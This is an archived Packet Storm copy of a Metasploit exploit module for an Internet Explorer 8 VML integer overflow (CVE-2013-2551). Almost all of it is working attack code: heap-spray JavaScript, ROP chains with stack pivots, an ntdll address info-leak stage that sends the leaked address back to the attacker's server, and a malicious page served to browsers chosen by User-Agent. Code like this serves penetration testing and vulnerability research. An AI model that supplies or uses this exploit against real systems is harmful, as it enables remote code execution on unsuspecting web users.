MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow

2013-06-13T00:00:00
ID PACKETSTORM:121997
Type packetstorm
Reporter Nicolas Joly
Modified 2013-06-13T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "8.0",  
:ua_maxver => "8.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:rank => Rank  
})  
  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",  
'Description' => %q{  
This module exploits an integer overflow vulnerability on Internet Explorer.  
The vulnerability exists in the handling of the dashstyle.array length for vml  
shapes on the vgx.dll module. This module has been tested successfully on Windows 7  
SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target  
to use an info leak to disclose the ntdll.dll base address is provided. This target  
requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1  
installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nicolas Joly', # Vulnerability discovery, PoC and analysis  
'4B5F5F4B', # PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-2551' ],  
[ 'OSVDB', '91197' ],  
[ 'BID', '58570' ],  
[ 'MSB', 'MS13-037' ],  
[ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],  
[ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]  
],  
'Payload' =>  
{  
'Space' => 948,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 8 on Windows 7 SP1 with JRE ROP', # default  
{  
'Rop' => :jre,  
'Offset' => '0x5f4'  
}  
],  
# requires:  
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)  
# * ntdll.dll v6.1.7601.17725 (MS12-001)  
[ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak',  
{  
'Rop' => :ntdll,  
'Offset' => '0x5f4'  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Mar 06 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def exploit  
@second_stage_url = rand_text_alpha(10)  
@leak_param = rand_text_alpha(5)  
super  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def ie_heap_spray(my_target, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
  
# Land the payload at 0x0c0c0c0c  
# For IE 8  
js = %Q|  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
|  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
return js  
end  
  
def get_ntdll_rop  
case @ntdll_version  
when "6.1.7601.17514"  
stack_pivot = [  
@ntdll_base+0x0001578a, # ret # from ntdll  
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll  
@ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll  
].pack("V*")  
ntdll_rop = [  
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory  
0x0c0c0c40, # ret to shellcode  
0xffffffff, # ProcessHandle  
0x0c0c0c34, # ptr to BaseAddress  
0x0c0c0c38, # ptr to NumberOfBytesToProtect  
0x00000040, # NewAccessProtection  
0x0c0c0c3c, # ptr to OldAccessProtection  
0x0c0c0c40, # BaseAddress  
0x00000400, # NumberOfBytesToProtect  
0x41414141 # OldAccessProtection  
].pack("V*")  
return stack_pivot + ntdll_rop  
when "6.1.7601.17725"  
stack_pivot = [  
@ntdll_base+0x0001579a, # ret # from ntdll  
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll  
@ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll  
].pack("V*")  
ntdll_rop = [  
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory  
0x0c0c0c40, # ret to shellcode  
0xffffffff, # ProcessHandle  
0x0c0c0c34, # ptr to BaseAddress  
0x0c0c0c38, # ptr to NumberOfBytesToProtect  
0x00000040, # NewAccessProtection  
0x0c0c0c3c, # ptr to OldAccessProtection  
0x0c0c0c40, # BaseAddress  
0x00000400, # NumberOfBytesToProtect  
0x41414141 # OldAccessProtection  
].pack("V*")  
return stack_pivot + ntdll_rop  
else  
return ""  
end  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :jre  
print_status("Using JRE ROP")  
stack_pivot = [  
0x7c348b06, # ret # from msvcr71  
0x7c341748, # pop ebx # ret # from msvcr71  
0x7c348b05 # xchg eax, esp # ret from msvcr71  
].pack("V*")  
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})  
when :ntdll  
print_status("Using ntdll ROP")  
rop_payload = get_ntdll_rop + payload.encoded  
end  
  
return rop_payload  
end  
  
def load_exploit_html(my_target, cli)  
p = get_payload(my_target, cli)  
js = ie_heap_spray(my_target, p)  
  
js_trigger = %Q|  
var rect_array = new Array()  
var a = new Array()  
  
function createRects(){  
for(var i=0; i<0x1000; i++){  
rect_array[i] = document.createElement("v:shape")  
rect_array[i].id = "rect" + i.toString()  
document.body.appendChild(rect_array[i])  
}  
}  
  
function exploit(){  
  
var vml1 = document.getElementById("vml1")  
  
for (var i=0; i<0x1000; i++){  
a[i] = document.getElementById("rect" + i.toString())._anchorRect;  
if (i == 0x800) {  
vml1.dashstyle = "1 2 3 4"  
}  
}  
  
vml1.dashstyle.array.length = 0 - 1;  
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;  
  
for (var i=0; i<0x1000; i++)  
{  
delete a[i];  
CollectGarbage();  
}  
location.reload();  
  
}  
|  
  
create_rects_func = "createRects"  
exploit_func = "exploit"  
  
if datastore['OBFUSCATE']  
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)  
js_trigger.obfuscate  
create_rects_func = js_trigger.sym("createRects")  
exploit_func = js_trigger.sym("exploit")  
end  
  
html = %Q|  
<html>  
<head>  
<script>  
#{js}  
</script>  
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >  
</head>  
<title>  
</title>  
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>  
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />  
<script>  
#{js_trigger}  
</script>  
<body onload="#{create_rects_func}(); #{exploit_func}();">  
<v:oval>  
<v:stroke id="vml1"/>  
</v:oval>  
</body>  
</html>  
|  
  
return html  
end  
  
def html_info_leak  
  
js_trigger = %Q|  
var rect_array = new Array()  
var a = new Array()  
  
function createRects(){  
for(var i=0; i<0x400; i++){  
rect_array[i] = document.createElement("v:shape")  
rect_array[i].id = "rect" + i.toString()  
document.body.appendChild(rect_array[i])  
}  
}  
  
function exploit(){  
  
var vml1 = document.getElementById("vml1")  
  
for (var i=0; i<0x400; i++){  
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;  
}  
  
for (var i=0; i<0x400; i++){  
a[i].rotation;  
if (i == 0x300) {  
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"  
}  
}  
  
var length_orig = vml1.dashstyle.array.length;  
vml1.dashstyle.array.length = 0 - 1;  
  
for (var i=0; i<0x400; i++)  
{  
a[i].marginLeft = "a";  
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);  
if (marginLeftAddress > 0) {  
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;  
var leak = a[i].marginLeft;  
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;  
vml1.dashstyle.array.length = length_orig;  
document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )  
return;  
}  
}  
  
}  
|  
  
create_rects_func = "createRects"  
exploit_func = "exploit"  
  
if datastore['OBFUSCATE']  
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)  
js_trigger.obfuscate  
create_rects_func = js_trigger.sym("createRects")  
exploit_func = js_trigger.sym("exploit")  
end  
  
html = %Q|  
<html>  
<head>  
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >  
</head>  
<title>  
</title>  
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>  
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />  
<script>  
#{js_trigger}  
</script>  
<body onload="#{create_rects_func}(); #{exploit_func}();">  
<v:oval>  
<v:stroke id="vml1"/>  
</v:oval>  
</body>  
</html>  
|  
  
return html  
  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/  
html = html_info_leak  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML to info leak...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
else  
leak = begin  
request.uri_parts["QueryString"][@leak_param].to_i  
rescue  
0  
end  
  
if leak == 0  
html = load_exploit_html(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML to trigger...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
return  
end  
  
vprint_status("ntdll leak: 0x#{leak.to_s(16)}")  
fingerprint = leak & 0x0000ffff  
  
case fingerprint  
when 0x70B0  
@ntdll_version = "6.1.7601.17514"  
@ntdll_base = leak - 0x470B0  
when 0x7090  
@ntdll_version = "6.1.7601.17725" # MS12-001  
@ntdll_base = leak - 0x47090  
else  
print_error("ntdll version not detected, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML to trigger...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
  
end  
  
end  
  
end`